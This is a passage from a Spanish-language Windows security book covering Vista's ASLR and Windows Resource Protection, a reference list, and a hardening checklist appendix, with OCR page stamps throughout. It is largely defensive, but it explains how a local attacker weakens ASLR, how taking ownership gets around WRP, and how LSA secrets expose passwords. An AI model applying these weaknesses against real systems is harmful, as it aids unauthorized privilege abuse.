buto DLLCharacteristics de la estructura IMAGE_OPTIONAL_HEADER de la aplicación.
Esto se observa al ejecutar los siguientes comandos:
c:\tools>link /EDIT /DYNAMICBASE:NO test.exe

Microsoft (R) COFF/PE Editor Version 8.00.50727.220
c:\tools>dumpbin /headers | grep "DLL characteristics"
0 DLL characteristics
c:\tools>link /EDIT /DYNAMICBASE test.exe
Microsoft (R) COFF/PE Editor Version 8.00.50727.220
c:\tools>dumpbin /headers | grep "DLL characteristics"
40 DLL characteristics
12_SCAMBRAY_12.indd 398 7/28/08 9:55:04 PM

Aquí vemos que las marcas de DLLCharacteristics se han actualizado de 0 a 0x40

cuando se habilita la opción /DYNAMICBASE. Si vamos a MSDN, aprenderemos el significado de
este valor:
IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE 0x0040 THE DLL can be relocated at

load time.
Y aquí lo tenemos.
Debe hacer a un lado un par de cosas. En primer lugar, ASLR es un mecanismo de seguridad
opt-in, lo que significa que, a menos que los comercializadores de su software vinculen sus apli-
caciones de manera apropiada, tal vez no sea tan efectivo como ASLR para ese proceso. En se-
gundo lugar, podemos determinar fácilmente cuáles aplicaciones y DLL tienen opt-in con ASLR
con sólo inspeccionar el atributo DLLCharacteristics. Una rápida revisión del directorio
C:\Windows\System32 en un sistema Vista Ultimate usado poco mostró que 1676 de 1767 ar-
chivos exe y dll estaban incluidos en ASLR.
Consideraciones relacionadas con ASLR

Cuando Vista se reinicia, el sistema selecciona una de 256 direcciones alineadas a 64 KB para em-
pezar a cargar las imágenes incluidas en ASLR. Como tales, las direcciones de esas imágenes
permanecerán constantes en todos los procesos hasta que se reinicie el sistema. Una advertencia
relacionada con esto es que todos los procesos que usan una imagen determinada se hayan des-
cargado; cuando la imagen se carga de nuevo en la método abreviado, puede cargarse en una
dirección diferente.
¿Entonces cuáles son las implicaciones de todo esto? Desde la perspectiva de un atacante re-
moto, ASLR sigue siendo efectivo mientras el atacante remoto carezca (en casi todos los casos)
de una manera de determinar la dirección en que se cargan las imágenes. Sin embargo, un ata-
cante local puede derivar las direcciones de DLL útiles al adjuntar un depurador a uno de sus
propios procesos. Debido a que la dirección en que se cargan las DLL es muy constante en-
tre procesos, la probabilidad de que la misma DLL se cargue en la misma ubicación dentro de
un proceso privilegiado es alta. Como tal, la eficacia de ASLR en el panorama local está muy re-
ducida. Para ser justos, ASLR no está diseñada para proteger contra ataques locales. Matt Miller
sugirió que procesos de diferentes niveles de privilegio deben utilizar distintas asignaciones de
direcciones. Esto podría ayudar a reducir la capacidad del atacante local para explotar con éxito
aplicaciones con privilegios elevados porque el atacante ya no sabría la dirección de instruccio-
nes útiles.
PROTECCIÓN DE RECURSOS DE WINDOWS

Al igual que Windows 2000 y Windows XP, Windows Vista viene equipado con un mecanis-
mo para proteger recursos críticos del sistema: se denomina protección de recursos de Win-
dows (WRP, Windows Resource Protection). Como su ancestro, protección de archivos de
Windows (WFP, Windows File Protection), WRP trata de asegurar que no se modifiquen archi-
vos importantes, ya sea intencional o accidentalmente. Sin embargo, WRP va un paso más ade-
lante al proteger también los valores del Registro.
Al igual que WFP, WRP guarda y aparta copias de archivos que son críticos para la estabili-
dad del sistema. Sin embargo, la ubicación se ha movido de %SystemRoot%\System32\dllcache
12_SCAMBRAY_12.indd 399 7/28/08 9:55:05 PM

a %Windir%\WinSxS\Backup, y el mecanismo para proteger estos archivos también ha cambia-

do un poco. Ya no hay un subproceso de protección de archivos del sistema ejecutándose para
detectar modificaciones a archivos importantes. En cambio, WRP depende de listas de control
de acceso (ACL, Access Control Lists). Por tanto, no debe sorprender que WRP siempre esté ha-
bilitado.
Bajo WRP, la capacidad de escribir en un recurso protegido se otorga sólo al directivo Trus-
tedInstaller (esto también excluye a los Administradores). Esto se observa en las figuras 12-15 y
12-16.
Como otras ACL discrecionales, también pueden modificarse las que soportan WRP. En un
momento analizaremos cómo pueden modificarse para permitir el reemplazo de recursos prote-
gidos por WRP. En ausencia de estas modificaciones, sólo las siguientes acciones pueden reem-
plazar un recurso protegido con WRP:
• Windows Update instalado por TrustedInstaller

• Paquetes de servicio de Windows instalados por TrustedInstaller
• Correcciones instaladas por TrustedInstaller
• Actualizaciones del sistema operativo instaladas por TrustedInstaller
Figura 12-15 Los administradores carecen de privilegios de escritura
12_SCAMBRAY_12.indd 400 7/28/08 9:55:05 PM

Figura 12-16 TrustedInstaller con control total
Como ya se mencionó, existen soluciones alternas a WRP. Como opción predeterminada, el

grupo Administradores locales tienen el derecho SeTakeOwnership, como se muestra bajo la
Asignación de derechos de usuario dentro de la Directiva de seguridad local (figura 12-17).
Con este privilegio, un directivo puede tomar propiedad del recurso protegido con WRP. En
este punto, el propietario puede cambiar arbitrariamente los permisos aplicados al recurso pro-
tegido, y éste puede modificarse, reemplazarse o eliminarse.
Recuerde que WRP no está diseñado para ser una característica de seguridad completa. El
propósito principal de esta tecnología consiste en evitar que instaladores de terceros modifiquen
recursos que son críticos para la estabilidad del sistema operativo. Uno de los beneficios de
saber cómo deshabilitar WRP es facilitarle la vida cuando esté aplicando ingeniería inversa o
instrumentando un proceso. Dependiendo de lo que busque, tal vez quiera modificar el com-
portamiento del proceso. Para ello, tiene dos opciones principales: parchar el proceso durante el
tiempo de ejecución o parchar los archivos .dll o .exe en disco. La primera opción requiere que
aplique el parche cada vez que se ejecute el proceso, la última sólo se hace una vez.
12_SCAMBRAY_12.indd 401 7/28/08 9:55:05 PM

Figura 12-17 Grupo Administradores con privilegio SeTakeOwnership
RESUMEN
Los temas cubiertos en este capítulo describen las contramedidas esenciales ante los muchos ata-
ques analizados en este libro. Por fortuna, esta breve cobertura ha ayudado a darle una vista ge-
neral de la manera en que estas medidas pueden utilizarse con mayor eficacia para defenderse
de hackers maliciosos de todos los niveles de complejidad.

Windows Vista Trusted http://technet.microsoft.com/en-us/windowsvista/
Platform Module Services aa905092.aspx
Step-by-Step Guide
Trusted Platform Module www.trustedcomputinggroup.org/specs/TPM

(TPM) Specifications
12_SCAMBRAY_12.indd 402 7/28/08 9:55:06 PM

Understanding and http://msdn2.microsoft.com/en-us/library/Bb250462.aspx
Working in Protected Mode
Internet Explorer
BitLocker Drive http://technet.microsoft.com/en-us/windowsvista/
Encryption: Technical aa906017.aspx
Overview
BitLocker Drive Encryption http://download.microsoft.com/download/5/b/9/
Hardware Enhanced Data 5b97017b-e28a-4bae-ba48-174cf47d23cd/CPA064_WH06.ppt
Protection
Windows BitLocker Drive http://technet2.microsoft.com/WindowsVista/en/library/
Encryption Step-by-Step c61f2a12-8ae6-4957-b031-97b4d762cf311033.mspx?mfr=true
Guide
Identity and Access Control http://technet2.microsoft.com/WindowsVista/en/library/
ba1a3800-ce29-4f09-89ef-65bce923cdb51033.mspx?mfr=true
Secure Startup–Full http://download.microsoft.com/download/5/D/6/
Volume Encryption: 5D6EAF2B-7DDF-476B-93DC-7CF0072878E6/secure-start_
Technical Overview tech.doc
Trusted Platform Module http://www.microsoft.com/resources/ngscb/WinHEC05.
Services in Windows mspx
Longhorn
Blog de Mark Russinovich http://blogs.technet.com/markrussinovich/
archive/2007/02/12/638372.aspx
Enseñe a sus aplicaciones http://msdn.microsoft.com/msdnmag/issues/07/01/
a ejecutarse sin problemas UAC/default.aspx#S2
con el control de cuentas de
usuario de Windows Vista
SYSTEM_MANDATORY_ http://msdn2.microsoft.com/en-us/library/aa965848.aspx
LABEL_ACE Structure
Services in Windows Vista www.microsoft.com/whdc/system/vista/Vista_Services.
mspx
Impact of Session 0 http://download.microsoft.com/download/9/c/5/
Isolation on Services and 9c5b2167-8017-4bae-9fde-d599bac8184a/Session0_Vista.doc
Drivers in Windows Vista
Compiler Security Checks http://msdn2.microsoft.com/en-us/library/
In Depth aa290051(VS.71).aspx#vctchcompilersecuritychecksindepth
/GS (Buffer Security http://msdn2.microsoft.com/en-us/library/
Check) 8dbf701c(VS.80).aspx
IMAGE_OPTIONAL_ http://msdn2.microsoft.com/en-us/library/ms680339.aspx
HEADER Structure
12_SCAMBRAY_12.indd 403 7/28/08 9:55:06 PM

Analysis of GS protections www.symantec.com/avcenter/reference/GS_Protections_
in Microsoft Windows Vista in_Vista.pdf
“Defeating the Stack Based www.ngssoftware.com/papers/defeating-w2k3-stack-
Buffer Overflow Prevention protection.pdf
Mechanism of Microsoft
Windows 2003 Server” por
David Litchfield
Applying the Principle of www.microsoft.com/technet/community/columns/
Least Privilege to Windows secmgmt/sm1006.mspx
Vista
The Trusted Platform www.trustedcomputinggroup.org/faq/TPMFAQ/
Module (TPM) FAQ
Hardening Stack-based http://blogs.msdn.com/Michael_howard/
Buffer Overrun Detection archive/2007/04/03/hardening-stack-based-buffer-
in VC++ 2005 SP1 (blog de overrun-detection-in-vc-2005-sp1.aspx
Michael Howard)
Shattering by Example www.security-assessment.com/files/whitepapers/
Shattering_By_Example-V1_03102003.pdf
“Security Engineering in www.blackhat.com/presentations/bh-usa-06/BH-US-06-
Windows Vista”, por John Lambert.pdf
Lambert
Intel Architecture software http://download.intel.com/design/PentiumII/
Developer’s Manual manuals/24319102.PDF
Volumen 2
Enseñe a sus aplicaciones http://msdn.microsoft.com/es-mx/magazine/cc163486.
a ejecutarse sin problemas aspx
con el control de cuentas de
usuario de Windows Vista
SEH (Structured Exception www.eeye.com/html/resources/newsletters/vice/
Handling) Security VI20060830.html#vexposed
Changes in XPSP2 and 2003
SP1
Preventing the Exploitation http://uninformed.org/?v=5&a=2&t=pdf
of SEHOverwrites
Buffer Overflow: History of http://en.wikipedia.org/wiki/Buffer_overflow#History_
Exploitation of_exploitation
Bypassing Windows http://uninformed.org/?v=2&a=4&t=pdf
Hardware-enforced Data
Execution Prevention
Security Improvements to http://blogs.msdn.com/branbray/
the Whidbey Compiler archive/2003/11/11/51012.aspx
12_SCAMBRAY_12.indd 404 7/28/08 9:55:07 PM

APéndice A
T A D E
LIS I Ó N
I F I C A C
VE R I D A D
S E G U R
DE L A W S
W I N D O
DE
405
A_SCAMBRAY_APEND. A.indd 405 7/28/08 7:36:17 PM

P
or ahora, probablemente su cabeza esté dando vueltas con el número de posibles aveni-
das de ataque contra Windows. ¿Cómo las contrarresta?
Este apéndice está diseñado para reducir su carga de trabajo y resumir las contrame-
didas de seguridad más importantes cubiertas en este libro. No es una reiteración golpe por gol-
pe de las páginas anteriores ni una exposición completa de cada configuración relevante de
seguridad para Windows 2000 y posterior. No obstante, consideramos que cubre 100% de los
aspectos importantes que necesita considerar en relación con la seguridad en la familia NT, con
base en nuestros años combinados de experiencia. El objetivo aquí (como lo ha sido en todo el
libro) no es lograr la seguridad perfecta, sino reducir la carga sobre los administradores del sis-
tema, mientras le dificulta más las cosas a los posibles atacantes.
ADVERTENCIA DE SUSPENSIÓN: FUNCIONES

Y RESPONSABILIDADES
Lo más difícil sobre la construcción de una lista de verificación genérica de seguridad en Win-
dows es considerar las diversas funciones que el sistema operativo puede realizar en una red.
Puede actuar como un equipo independiente, un miembro de un dominio, un controlador de
dominio, un servidor Web, un servidor de aplicaciones de Terminal Services, un servidor de ar-
chivos e impresión, una firewall y otras incontables funciones y combinaciones.
Las recomendaciones hechas en esta lista de verificación son muy restrictivas, y tal vez no
sean apropiadas para la función que Windows tiene en su entorno. Donde es posible, hemos in-
dicado ciertas configuraciones restrictivas que inhibirán funcionalidad específica; al final de
cuentas, tendrá que ser el juez de la efectividad de estas recomendaciones después de probarlas
por completo en su propio entorno.
Una vez dicho esto, consideramos que siempre deben seguirse las recomendaciones más res-
trictivas, a menos que haya un caso de trabajo convincente para relajarlas. Use el buen juicio.
Una palabra final sobre el tema de las funciones del sistema: las mejores prácticas de seguri-
dad determinan que los sistemas deben tener un solo propósito, cada que sea posible. Recono-
cemos que las restricciones de presupuesto y tiempo no siempre hacen que esto resulte factible,
pero con el precio del hardware en nuestros días, más la existencia de la tecnología de virtuali-
zación, consideramos que para mantener un sistema con un solo propósito bien vale la pena el
pequeño gasto adicional con el fin de reducir la superficie de ataque de la red.
CONSIDERACIONES DE PREINSTALACIÓN
La seguridad en Windows empieza aun antes de que se instale el sistema operativo. He aquí lo
que necesita tomar en consideración antes de quitar la envoltura del CD-ROM:
• Asegúrese de que información inapropiada del sistema y sus administradores no

pueda encontrarse en las bases de datos del Registro en Internet mediante whois y
que los números de acceso de marcado telefónico no se publiquen de manera
inapropiada.
• Asegúrese de que el sistema esté protegido por un dispositivo de seguridad de
red (como una firewall) que está configurada para limitar el acceso al sistema sólo en
los puertos que son necesarios para servir a su función. Para ponerlo de manera más
simple: bloquee todas las comunicaciones que no estén específicamente permitidas.

Apéndice A: Lista de verificación de la seguridad de Windows 407
• Implemente las características en los dispositivos que rodean la red diseñados para
inhibir el impacto de los ataques de negación del servicio (consulte Hacking Exposed
5th Edition para conocer más información sobre la negación del servicio).
• Instale Windows limpiamente: la actualización de versiones anteriores puede
introducir permisos débiles en archivos y claves del Registro, de modo que no lo
recomendamos. En el caso de instalaciones automatizadas, ponga estricta atención en
la integridad de los archivos fuente usados en red.
• Asegúrese de que el sistema esté asegurado físicamente (consulte el capítulo 11
para conocer más detalles). No olvide tomar en consideración la proximidad a
comunicaciones inalámbricas como 802.11x y Bluetooth.
• Establezca una contraseña de BIO, si es posible, incluyendo una específica para
cualquier unidad de disco duro en el sistema, si su comercializador de hardware del
sistema implementa ATA-3 y posterior.
• Establezca la secuencia de arranque de BIOS sólo en el disco duro; no permita el
arranque desde discos flexibles o CD-ROM.
• Considere la desinstalación física de unidades de medios extraíbles como discos
flexibles o unidades de CD-ROM que podrían usarse para arrancar el sistema en un
sistema operativo alterno.
• Cree por lo menos dos particiones NTFS: una para el sistema (C:) y otra para los datos
(en esta lista de verificación haremos referencia a ésta como partición E:). Esto es
especialmente importante con Vista y Cifrado de unidad BitLocker (el establecimiento
de las particiones de manera correcta desde la primera vez ahorra toneladas de
esfuerzos).
• No instale protocolos de red innecesarios.
ENDURECIMIENTO BÁSICO DE WINDOWS

A continuación se presentan los pasos básicos para endurecer un sistema Windows 2000 y poste-
riores para una función genérica. Nuestras recomendaciones se dividen en dos partes: pasos que
deben darse manualmente y los que pueden realizarse mediante una plantilla de seguridad
(hhtp://support.microsoft.com/kb/816585). Recuerde que es posible diseñar plantillas de segu-
ridad personalizadas para configurar características que no aparecen en las plantillas estándar que
se incluyen con Windows, pero deben editarse directamente los archivos .INF para hacer esto.
Recomendaciones para los casos en que no se usan plantillas

Estas recomendaciones no se implementan fácilmente empleando plantillas de seguridad:
• Establezca SYSKEY en el modo protegido con contraseña y en disco flexible (escriba

Run...SYSKEY y establezca el modo apropiado). Almacene la contraseña o el disco
flexible en un lugar seguro.
• Sólo para Windows 2000 y anteriores: deshabilite el almacenamiento del hash de LAN
Manager en el monitor de agentes de seguridad (SAM, Security Agents Monitor) al
crear la siguiente clave del Registro (¡no es un valor!):
HKLM\SYSTEM\CurrentControlSet\Control\Lsa\NoLmHash

Precaución
Esto no es soportado por Microsoft y puede hacer que las aplicaciones dejen de funcionar. Esta
configuración está disponible en Windows XP y posteriores mediante la directiva de seguridad, y
debe configurarse allí, si está disponible.
• Si está usando IIS, mueva las raíces virtuales de IIS (C:\Inetpub, etc.) a una segunda
partición NTFS (E:), use la herramienta ROBOCOPY Robust File Copy de Reskit
con los interruptores /SEC /MOVE para preservar las ACL de NTFS en directorios
y archivos (de otra manera, los permisos se restablecerán a Todos.Control total en el
destino).
• Verifique que ningún controlador o aplicación del sistema instalado por el
comercializador introduzca riesgos de seguridad. (Por ejemplo, el servicio Campaq
Insight Manager, que viene preinstalado en muchos equipos Compaq, tiene una
vulnerabilidad conocida de archivos develada en versiones iniciales).
• Si no son necesarios, deshabilite los servicios NetBIOS y SMB (TCP/UDP 135-139 y
445) al deshabilitar Compartir archivos e impresoras, en redes de Microsoft, como se
analizó en el capítulo 4. Esto evitará el uso del sistema como un servidor de archivos
e impresoras, y puede causar problemas con la resolución de nombre de NetBIOS. Ni
los servicios de archivos e impresoras ni la resolución de nombres de NetBIOS son
importantes para servidores Web típicos.
sugerencia La deshabilitación de éstos y otros servicios puede lograrse mediante la directiva de grupo.
• Bloquee la cuenta verdadera de Administrador empleando passprop de Reskit

(requiere Windows 2000 Service Pack 2 o posterior).
• Cambie el nombre del verdadero Administrador y cree una cuenta de Administrador
de señuelo que no sea miembro de ningún grupo. Esto puede hacerse mediante la
directiva de seguridad en Windows XP y posterior.
• Haga un escrutinio cuidadoso de los empleados que requieran privilegios
administrativos, y asegúrese de que están aplicadas las directivas apropiadas para
colocar límites a su acceso, más allá de su término de empleo.
• En todos los sistemas Windows 9x de su entorno, implemente el nivel de
autentificación 3 de LAN Manager, empleando la actualización DSClient de las
herramientas de soporte (consulte el artículo de la base de datos de conocimiento de
Microsoft Q239869). A éste también se le denomina nivel de LMCompatibility.
• Instale una aplicación atimalware, mantenga actualizada la base de datos de firmas
y rastree el sistema regularmente.
• Cree un disco de reparación de emergencia empleando Run...ntbackup, rotúlelo y
almacénelo en un lugar seguro.
Aplique los paquetes de servicio y las correcciones más recientes

La aplicación de los paquetes de servicio y las correcciones más recientes de Microsoft para el
sistema operativo y todas sus aplicaciones (Internet Explorer, SQL Server, etc.) es, tal vez, uno de
los pasos más importantes que puede dar para asegurar Windows.
El mayor riesgo de seguridad proviene de las vulnerabilidades que están ampliamente pu-
blicadas y que por lo general son atendidas por un boletín de seguridad, un parche de seguridad
de Microsoft, o ambos.

Debido a que tales vulnerabilidades son ampliamente conocidas y a que la comunidad de

Internet suele distribuir con regularidad código de explotación para esos problemas, represen-
tan el mayor riego a su despliegue de Windows. Es, por tanto, imperativo que aplique los par-
ches para esas vulnerabilidades.
Para organizaciones de clase empresarial, recomendamos el uso de SQL Server Management
Studio de Microsoft con el paquete de características de servicios de actualización de software
(SUS, Software Update Services). En el caso de organizaciones más pequeñas, use SUS en modo
independiente (gratis de www.microsoft.com). Para conocer un inventario manal de parches,
use Microsoft Baseline Security Analyzer (o una herramienta como srvinfo de Reskit). También
recomendamos buenas herramientas de administración de parches de terceros como HFNetChk
Propietario, de Shavlik.
Por último, el agrupamiento de los parches/paquetes de servicio en construcciones de códi-
go fuente es una herramienta importante para mejorar la eficiencia de construcciones subse-
cuentes para evitar tiempos de parchado prolongados.
Cuentas de servicio y secretos de LSA

Si está desplegando el sistema en un dominio de Windows, recuerde las lecciones de la caché de
secretos de LSA expuestas en el capítulo 7. Si las cuentas de dominio están configuradas para
iniciar sesión en el sistema local y lanzar servicios, las contraseñas de esas cuentas de dominio
pueden revelarse en texto simple ante usuarios equivalentes a Administradores (incluidos ata-
cantes). Este ataque incluso revelará contraseñas de cuentas de dominios de confianza para las
que está desplegado el sistema. Por tanto, recomendamos fuertemente que no se permita que los
servicios inicien en el contexto de las cuentas de dominio. Si deben hacerlo, use una cuenta de
dominio con privilegios muy restringidos (¡recuerde que todo Administrador local de cada equi-
po del dominio o dominios de confianza donde esta cuenta está desplegada para iniciar sesión
como servicio, en esencia, será capaz de obtener la contraseña en texto simple con facilidad!).
Recomendaciones relacionadas con plantillas de seguridad

Las siguientes recomendaciones pueden establecerse mediante el uso de plantillas de seguridad.
Por diseño, las plantillas de seguridad que se incluyen con Windows deben aplicarse en secuen-
cia. Dependiendo de su entorno, la última plantilla que debe aplicarse es hisecws, que puede
aplicarse de la siguiente manera (debe estar en %windir%\security\templates):
secedit /configure /cfg hisecws.inf /db hisecws.sdb /cuenta de inicio de

sesión hisecws.log/ verbose
Es probable que la plantilla hisecws no sea lo suficientemente estricta para su sistema. A con-
tinuación se presentan nuestras ampliaciones y modificaciones a los parámetros que pueden es-
tablecerse usando plantillas de seguridad, como se resume de los capítulos de este libro. Hemos
incluido en la lista plantillas adicionales, aún más completas, producidas por terceros al final de
este apéndice.
Deshabilite cualquier otro servicio innecesario. Los únicos servicios requerido en Windows 2000
y posterior son los siguientes:
• Cliente DNS
• Registro de sucesos
• Administrador de discos lógicos

• Plug & Play

• Almacenamiento protegido
• Administrador de cuentas de seguridad
Estos servicios adicionales no son necesarios pero tal vez se requieran para implementar al-
guna de las otras recomendaciones en esta lista de verificación:
• Agente de directivas IPSec

• Administrador de conexiones de red
• Llamada a procedimiento remoto
• Servicio de registro remoto
• Servicio RunAs
Además, un controlador de dominio requiere lo siguiente:
• Servidor DNS (a menos que el servidor DNS que soporta las actualizaciones dinámicas
ya esté disponible)
• Servicio de duplicación de archivos (si hay más de un controlador de dominio)
• Centro de distribución de claves Kerberos
• NetLogon
• Proveedor de servicio NT LM
• Localizador de RPC
• Tiempo de Windows
• Auxiliar TCP/IP NetBIOS
• Servidor (cuando se comparten recursos o se ejecuta AD)
• Estación de trabajo (cuando se conecta a recursos)
Además, siga estos pasos:
• Establezca ACL fuertes en herramientas administrativas, y elimínelas o muévalas, si es

necesario. Establezca los archivos ejecutables en %systemroot%\system32 en Todos:
Lectura, Administradores:Todo, SYSTEM:Todo.
• Imponga contraseñas fuertes empleando Directiva de seguridad\Directivas de cuenta\
Las contraseñas deben cumplir los requisitos de complejidad.
• Habilite el bloqueo de cuentas empleando Directiva de seguridad\Directivas de
cuenta\Directiva de bloqueo de cuentas.
• Si está permitido el acceso al servicio SMB, establezca RestrictAnonymous=2 en
Windows 2000. (A esto se le denomina Restricciones adicionales para conexiones
anónimas en la Directiva de seguridad; consulte los artículos de la base de datos
de conocimiento de Microsoft Q143474 y Q246261). En el caso de Windows XP y
posteriores, use la configuración apropiada en la directiva de seguridad, bajo el
encabezado Acceso de red. (Consulte el capítulo 4 para conocer un análisis completo
de estas recomendaciones).
• Establezca el nivel de autentificación de LAN Manager por lo menos en 3 en todos los
sistemas de su entorno, sobre todo sistemas heredados como Windows 9x, que
pueden implementar el nivel de autentificación de LM 3 empleando la
actualización DSClient de las herramientas de soporte de Windows 2000.
• ¡Restrinja el inicio de sesión sólo a las cuentas de usuario más confiables!

• Los administradores deben evaluar por completo las directivas de restricción de

software (SRP, Software Restrictions Policies) como un medio de limitar los ejecutables
que se corren en sus escritorios/servidores administrados.
Auditoría
Aunque no es una medida preventiva, la habilitación de la auditoría es crítica para sistemas de
alta seguridad, de modo que pueden identificarse los ataques y puedan darse pasos proactivos.
• Habilite la auditoría de Correcto/Erróneo para todos los eventos bajo Directiva de

seguridad\Directiva de auditoría, excepto para Seguimiento de procesos. Revise
los registros con frecuencia. (Use herramientas de análisis e informe de registro
automatizado que sean confiables).
• Configure objetos específicos para auditoría, según sea necesario (recuerde que el valor
Acceso a objeto de auditoría, bajo Directiva de auditoría, sólo habilita la posibilidad
de auditar el acceso a objetos específicos; no lo configura globalmente para todos los
objetos (como se podría pensar).
• Revise con frecuencia los registros de auditoría para sucesos con auditoría
deshabilitada. Esto es una señal de que alguien más está tratando de cubrir sus pasos
de una intrusión, especialmente si los realiza la cuenta SYSTEM.
• La agregación de registros transaccionales es en realidad la única manera de asegurar
la integridad del registro. El Microsoft Operations Manager (MOM) v3 y algunas
herramientas de terceros tienen esta característica.
Firewall de Windows e IPSec

Debido a su capacidad de bloquear selectivamente el tráfico de red para que no llegue al siste-
ma, la Firewall de Windows es una estupenda adición general a cualquier lista de verificación
de seguridad. A partir de Windows Vista, la Firewall de Windows puede administrarse median-
te la directiva de grupo, soporta filtro de tráfico saliente, y también integra administración de
reglas de IPSec, de modo que puede manejarse en toda la empresa para implementar un progra-
ma completo de seguridad de comunicaciones de Windows. (Técnicamente, las plantillas de di-
rectiva de grupo estaban disponibles para la Firewall en XP SP2, pero la integración completa
está disponible en Vista).
Hablando de IPSec, no olvide que las reglas de IPSec ofrecen algunas propiedades adiciona-
les más allá de la Firewall de Windows, principalmente la capacidad de especificar el tipo de
protocolo y autentificación que debe imponerse para que se comuniquen equipos específicos.
Esto habilita la segmentación virtual de redes grandes en zonas protegidas por IPSec.
Si implementa filtros IPSec para proteger sus servidores, asegúrese de que revisa el siguien-
te valor del registro:
HKLM\SYSTEM\CurrentControlSet\Services\IPSEC\NoDefaultExempt, REG_DWORD=1
En el estado predeterminado de Windows 2000, este valor no existía, y los filtros de IPSec
exentaban, como opción predeterminada, cierto tipo de tráfico del filtrado (consulte el artículo
de la base de datos de conocimiento de Microsoft Q253169). Esto da a los atacantes una apertura
para omitir por completo los filtros IPSec. Al establecer NoDefaultExempt=1 se estrecha la ventana

de manera significativa al eliminar la exención para tráfico de Kerberos y RSVP. Tendrá que con-
figurar manualmente filtros específicos para tráfico de Kerberos si necesita permitirlo. Este valor
de Registro no bloqueará la transmisión, multitransmisión o tráfico IKE, de modo que esté cons-
ciente de que los filtros IPSec no son una protección hermética.
En Windows Server 2003, están implementados valores adicionales, y la configuración pre-
determinada es 3. Puede usar la herramienta netsh para jugar con este valor, pero, ¿por qué bus-
car lo más seguro si es la opción predeterminada?
Nota Sólo para reiterar, establezca la clave del registro NoDefaultExempt en 1 cuando use filtros IPSec en
Windows 2000 y en 3 en Windows Server 2003 (la opción predeterminada), o sus filtros proporcionarán
una seguridad significativamente reducida.
sugerencia
Hemos encontrado que con frecuencia suele comprenderse mal IPSec, sobre todo la diferencia
entre los modos funcionales, Filtrado, Autentificación y Cifrado. Revise www.microsoft.com/technet/
network/ipsec/default.mspx para conocer información completa.
Directiva de grupo
La directiva de grupo es la característica clave bajo el modelo de seguridad de dominio de Win-
dows. Con ella, puede importar plantillas de seguridad y sacarlas del sitio, dominio o unidad
organizacional (OU, Organizational Unit) de Active Directory. Aún mejor, la directiva de grupo
puede incluir las reglas de Firewall de Windows/IPSec, de modo que también puede hacerse a
un lado la configuración de comunicaciones restrictivas. No entraremos en detalles en esta corta
lista de verificación sobre cómo usar la directiva de grupo en todo su potencial, pero consulte
http://en.wikipedia.org/wiki/Group_Policy.
Configuraciones diversas
A continuación hay unas cuantas configuraciones que se aplican sólo a situaciones en que el sis-
tema satisface una función específica, como controlador de dominio, o sistemas que tienen ser-
vicios específicos habilitados, como SNMP.
Controladores de dominio
• Ponga especial atención a la seguridad física de los controladores de dominio.
¡Contienen información de cuentas para todos los miembros del dominio! Y si sirven
como parte de una implementación de PKI, ¡también tienen las claves de raíz!
• Configure los servidores DNS de Windows para restringir transferencias de zona para
hosts definidos explícitamente, o deshabilite por completo las transferencias de zona
(lo que se hace como opción predeterminada a partir de Windows Server 2003).
• Restrinja con cuidado el acceso no confiable a los servicios específicos de Active
Directory, TCP/UDP 389 y 3268. Use firewalls de red, filtros de Firewall de Windows/
IPSec, o cualquier otro mecanismo disponible.
• Elimine la identidad Todos del acceso compatible previo a Windows 2000 en
controladores de dominio, si es posible. Se trata de un modo de compatibilidad hacia

atrás que permite que los servicios NT RAS y SQL accedan a objetos de usuario en
el directorio. Si no requiere esta compatibilidad heredada, desactívela. Planee su
migración a Active Directory de modo que los servidores de RAS y SQL se actualicen
primero, de modo que no necesita ejecutar en modo de compatibilidad hacia atrás
(consulte el artículo de base de datos de conocimiento de Microsoft Q240855).
SNMP
• Si debe habilitar SNMP (y recomendamos que no lo haga), bloquee el acceso no
confiable al servicio SNMP. Puede configurar el Servicio SNMP de Windows para
restringir acceso a direcciones IP definidas explícitamente, como se muestra en el
capítulo 4. (También puede usar la Firewall de Windows para esto, por supuesto, o
IPSec para cifrar y autentificar tráfico SNMP).
• ¡Establezca nombres de comunidad complejos, no predeterminados, para servicios
SNMP, si los usa!
• Si debe usar SNMP en máquinas de Windows, establezca las ACL apropiadas en
HKLM\System\CurrentControlSet\Services\SNMP\Parameters\ValidCommunities
Además, elimine el MIB de LAN Manager bajo
HKLM\System\CurrentControlSet\Services\SNMP\Parameters\ExtensionAgents
(Elimine el valor que contiene la cadena LANManagerMIB2Agent, y luego cambie el

nombre de las entradas restantes para actualizar la secuencia).
CONSIDERACIONES DE SEGURIDAD DE APLICACIONES WEB

La ejecución de una aplicación Web en Windows cambia de manera importante los requisitos de
seguridad. Por diseño, el sistema se conectará a la más hostil de las redes públicas: Internet. Por
tanto, ninguna cantidad de subpreparación es aceptable.
Desde la perspectiva de la plataforma, dado que Windows ya ha sido seleccionado como sis-
tema operativo, la mayoría elegirá implementar su aplicación Web en IIS. Por fortuna, el equipo
de desarrollo de producto de IIS en Microsoft ha aprendido a lo largo de los muchos años de ser
el azote de la comunidad de hackers publica cómo construir una implementación de servidor
Web endurecido. Por tanto, nuestro mejor consejo para la implementación de IIS consiste en ac-
tualizar a la versión 6 de IIS o superior. La versión 6 acumula todas las mejores características de
seguridad y las correcciones implementadas con los años (como la excelente firewall URL
URLScan), que requiere configuración mínima.
En el caso de los fanáticos de IIS 4 y 5 de la vieja escuela, lean la lista de verificación de seguridad
sugerencia de Microsoft de IIS 4, la lista de verificación de IIS 5 segura, o ambas. ¡Y recuerde que todo esto ya
está aplicado en IIS 6 o posterior!
sugerencia
El Center for Internet Security ofrece una medición comparativa de la seguridad del servidor Web
Apache en cisecurity.org.

Por supuesto, ninguna cantidad de configuración de la plataforma le salvará de un ataque en

el nivel de la aplicación. Aunque implemente cada elemento de esta lista de verificación con toda
exactitud, aún necesitará invertir recursos apropiados en el desarrollo seguro de su aplicación Web.
Todas las contramedidas descritas aquí no harán nada por detener a un intruso que ingresa en su
sitio Web como usuario anónimo o autorizado “legítimo”. En el nivel de la aplicación, todo lo que
se requiere es una mala suposición en la lógica del diseño de su sitio, y todos los pasos cuidadosos
que ha dado para endurecer Windows e IIS se reducirán a nada. No dude en traer experiencia ex-
terna, si su equipo de desarrollo Web no es experto en seguridad, y claro que debe planear que un
tercero no prejuiciado evalúe el diseño y la implementación en la etapa más temprana posible del
ciclo de desarrollo. Recuerde que debe suponer que toda entrada es maliciosa, ¡y debe validarse!
CONSIDERACIONES RELACIONADAS
CON LA SEGURIDAD DE SQL SERVER
He aquí nuestras configuraciones recomendadas de seguridad de SQL Server resumidas del ca-
pítulo 9 (con las entradas redundantes eliminadas):
